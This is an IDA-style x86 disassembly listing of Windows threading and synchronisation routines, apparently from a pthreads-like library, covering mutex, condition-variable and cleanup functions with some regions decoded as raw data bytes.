		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_432132
		or	eax, 0FFFFFFFFh


loc_43211C:				; CODE XREF: sub_432100+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 27905ECh
		test	eax, eax
		jnz	short loc_43218C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432132:				; CODE XREF: sub_432100+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_43211C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43218C:				; CODE XREF: sub_432100+2Aj
		cmp	eax, 102h
		jnz	short loc_43219E
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43219E:				; CODE XREF: sub_432100+Bj
					; sub_432100+91j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_432100	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4321F0	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_432290
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_432290
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_432285
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_43223A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jnz	short loc_43223A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43223A:				; CODE XREF: sub_4321F0+2Aj
					; sub_4321F0+40j
		cmp	[esi+8], edi
		jnz	short loc_432248
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_43228A


loc_432248:				; CODE XREF: sub_4321F0+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		nop
		call	near ptr 27908AFh
		test	eax, eax
		jl	short loc_432278
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432278
		call	near ptr 77C1F2BCh
		nop
		mov	ebx, [eax]


loc_432278:				; CODE XREF: sub_4321F0+6Ej
					; sub_4321F0+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432285:				; CODE XREF: sub_4321F0+1Ej
		mov	ebx, 16h


loc_43228A:				; CODE XREF: sub_4321F0+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432290:				; CODE XREF: sub_4321F0+Aj
					; sub_4321F0+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_4321F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4322D0	proc near		; CODE XREF: sub_401785j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_432355
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_432355
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4322F2
		push	esi
		call	sub_401C17
		add	esp, 4
		mov	edi, eax


loc_4322F2:				; CODE XREF: sub_4322D0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_432350
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432323
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43231B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43231B:				; CODE XREF: sub_4322D0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432323:				; CODE XREF: sub_4322D0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43234B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_43234B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43234B:				; CODE XREF: sub_4322D0+57j
					; sub_4322D0+6Dj
		mov	edi, 10h


loc_432350:				; CODE XREF: sub_4322D0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432355:				; CODE XREF: sub_4322D0+Aj
					; sub_4322D0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4322D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432390:				; CODE XREF: ___:0040193Dj
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323C0:				; CODE XREF: ___:00401591j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018CF
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323F0:				; CODE XREF: ___:00401497j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4323FC
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_4323FC:				; CODE XREF: ___:004323F6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432410:				; CODE XREF: ___:00401C12j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_432422
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432422:				; CODE XREF: ___:00432418j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_432445
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_432445
		call	sub_401D02
; ---------------------------------------------------------------------------
		dd 0FA22E856h, 0E8900240h, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432445:				; CODE XREF: ___:00432426j
					; ___:0043242Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43247E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43247E:				; CODE XREF: ___:00432474j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4324E6
		mov	edx, [esi+38h]
		push	edx
		call	near ptr 27905ECh
		nop
		test	eax, eax
		jnz	short loc_4324D7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4324C6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4324C6:				; CODE XREF: ___:004324A6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324D7:				; CODE XREF: ___:00432492j
		cmp	eax, 102h
		jz	short loc_4324EC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324E6:				; CODE XREF: ___:00432484j
		nop
		call	near ptr 2841E5Ch


loc_4324EC:				; CODE XREF: ___:004324DCj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432540:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C3A
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43255B
		mov	eax, [esp+0]


loc_43255B:				; CODE XREF: ___:00432555j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432570	proc near		; CODE XREF: sub_401712j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		call	near ptr 280089Fh
		nop
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_5103AC, eax
		nop
		call	near ptr 28B03EEh
		test	eax, eax
		mov	dword_5103C8, eax
		jnz	short loc_4325BD
		mov	eax, dword_5103AC
		mov	dword_5103C8, offset sub_4012D0
		push	eax
		call	near ptr 277071Dh
		nop
		mov	dword_5103AC, 0


loc_4325BD:				; CODE XREF: sub_432570+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_432570	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4325F0	proc near		; CODE XREF: sub_401627j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_432640
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah,	8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 6EE89052h, 0E80233DDh
		dd 0FFFCF015h, 5103ACA1h, 74C08500h, 0E8905007h, 233E0DDh
; ---------------------------------------------------------------------------


loc_432640:				; CODE XREF: sub_4325F0+7j
		mov	eax, 1
		retn
sub_4325F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432670	proc near		; CODE XREF: sub_4017BCj
		mov	eax, 1
		retn
sub_432670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432690	proc near		; CODE XREF: sub_4017CBj
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4326CB
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 0CEE89052h
		db 0DCh, 33h, 2
; ---------------------------------------------------------------------------


loc_4326CB:				; CODE XREF: sub_432690+7j
		mov	eax, 1
		retn
sub_432690	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432700:				; CODE XREF: ___:0040225Cj
		push	ecx
		push	esi
		push	offset dword_510980
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_5103BC
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43273E


loc_43271C:				; CODE XREF: ___:0043273Cj
		test	esi, esi
		jnz	short loc_43273E
		lea	eax, [esp+4]
		push	eax
		call	sub_40160E
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43271C


loc_43273E:				; CODE XREF: ___:0043271Aj
					; ___:0043271Ej
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432780	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432799
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432799
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_432799
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432799:				; CODE XREF: sub_432780+6j
					; sub_432780+Cj ...
		mov	eax, 1
		retn
sub_432780	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4327B0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4327BF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4327BF:				; CODE XREF: sub_4327B0+7j
		push	0
		push	offset dword_5103B4
		mov	dword_5103B0, 1
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jnz	short loc_4327EE
		push	eax
		push	offset dword_5103B8
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jz	short loc_4327F3


loc_4327EE:				; CODE XREF: sub_4327B0+2Aj
		call	sub_401645


loc_4327F3:				; CODE XREF: sub_4327B0+3Cj
		push	esi
		mov	esi, dword_511868
		push	offset dword_5108C0
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510940
		call	esi
		mov	eax, dword_5103B0
		pop	esi
		retn
sub_4327B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432850	proc near		; CODE XREF: sub_401645j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	locret_432909
		mov	eax, dword_5103B4
		test	eax, eax
		jz	short loc_432879
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B4, 0


loc_432879:				; CODE XREF: sub_432850+14j
		mov	eax, dword_5103B8
		test	eax, eax
		jz	short loc_432895
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B8, 0


loc_432895:				; CODE XREF: sub_432850+30j
		push	esi
		push	offset dword_5108C0
		call	near ptr 7C901005h
		nop
		mov	eax, dword_447708
		cmp	eax, 1
		jz	short loc_4328C3
		push	edi
		mov	edi, dword_511AD0


loc_4328B2:				; CODE XREF: sub_432850+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4328B2
		pop	edi


loc_4328C3:				; CODE XREF: sub_432850+59j
		push	offset dword_5108C0
		nop
		call	near ptr 7C9010EDh
		mov	esi, dword_511864
		push	offset dword_510940
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_5108C0
		call	esi
		mov	dword_5103B0, 0
		pop	esi

locret_432909:				; CODE XREF: sub_432850+7j
		retn
sub_432850	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:loc_401BA9j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_5103B4
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_437D4C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_43299C
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_43299C:				; CODE XREF: ___:00432989j
		dec	eax
		jz	short loc_4329A5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_4329A5:				; CODE XREF: ___:0043299Dj
		mov	esi, [edi+14h]


loc_4329A8:				; CODE XREF: ___:0043299Aj
					; ___:004329A3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4329C7
		call	sub_4017CB
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4329C7:				; CODE XREF: ___:004329ACj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A20	proc near		; CODE XREF: sub_4017B7j

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432A9A
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402248
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BD1
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_5118E0
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_432A78
		push	eax
		call	esi


loc_432A78:				; CODE XREF: sub_432A20+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_402252
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_432A9A
		test	[esp+8Ch+var_8], 1
		jnz	short loc_432A9A
		push	eax
		call	esi


loc_432A9A:				; CODE XREF: sub_432A20+11j
					; sub_432A20+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_432A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AE0	proc near		; CODE XREF: sub_401DDEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432B01
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B01:				; CODE XREF: sub_432AE0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402248
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_432B42
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B42:				; CODE XREF: sub_432AE0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_432B67
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_432B67:				; CODE XREF: sub_432AE0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_432AE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BB0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_432BD7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_432BD7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_432BD7
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 8


loc_432BD7:				; CODE XREF: sub_432BB0+7j
					; sub_432BB0+Ej ...
		pop	esi
		retn
sub_432BB0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BF0	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432C5D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_432C5D
		push	edi


loc_432C05:				; CODE XREF: sub_432BF0+6Aj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_432C58
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_432C33
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432C33
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_432C33
		push	eax


loc_432C2E:				; CODE XREF: ___:00432CA7j
		call	edi	; free
		add	esp, 4


loc_432C33:				; CODE XREF: sub_432BF0+27j
					; sub_432BF0+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_432C58:				; CODE XREF: sub_432BF0+20j
		test	esi, esi
		jnz	short loc_432C05
		pop	edi


loc_432C5D:				; CODE XREF: sub_432BF0+8j
					; sub_432BF0+12j
		pop	esi
		pop	ebx
		retn
sub_432BF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432C80	proc near		; CODE XREF: sub_401DEDj
		mov	eax, dword_5103B4
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_432C80	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F8E2918h], edx
		ja	short loc_432C2E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_432CB0+1


loc_432CB0:				; CODE XREF: ___:00432CAEj
		jz	short loc_432CD5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_432CC2
		dec	eax
		jnz	short loc_432CC5
		or	esi, 0FFFFFFFFh
		jmp	short loc_432CC5
; ---------------------------------------------------------------------------


loc_432CC2:				; CODE XREF: ___:00432CB8j
		mov	esi, [edi+14h]


loc_432CC5:				; CODE XREF: ___:00432CBBj
					; ___:00432CC0j
		call	sub_4017CB
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		pop	esi


loc_432CD5:				; CODE XREF: ___:loc_432CB0j
		push	1
		call	sub_401B22
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432D10	proc near		; CODE XREF: sub_401B22j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_432D10	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432D2F


loc_432D22:				; CODE XREF: ___:00432D2Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_432D22


loc_432D2F:				; CODE XREF: ___:00432D20j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432D50:				; CODE XREF: ___:00401DF7j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D70	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_432D70	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DB0	proc near		; CODE XREF: sub_401C3Aj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 27B0381h
		push	eax
		nop
		call	near ptr 2770000h
		test	eax, eax
		jz	short loc_432DF2
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_432DDC:				; CODE XREF: sub_432DB0+33j
		test	eax, edx
		jz	short loc_432DE1
		inc	ecx


loc_432DE1:				; CODE XREF: sub_432DB0+2Ej
		shl	eax, 1
		jnz	short loc_432DDC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_432DF2:				; CODE XREF: sub_432DB0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_432DB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E20	proc near		; CODE XREF: sub_40185Cj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510960
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432E54
		push	esi
		push	ecx
		call	sub_401F91
		add	esp, 8
		mov	esi, eax
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E54:				; CODE XREF: sub_432E20+17j
		test	eax, eax
		jnz	short loc_432E5D
		mov	esi, 16h


loc_432E5D:				; CODE XREF: sub_432E20+36j
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_432E20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E90	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_432E90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401F91j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
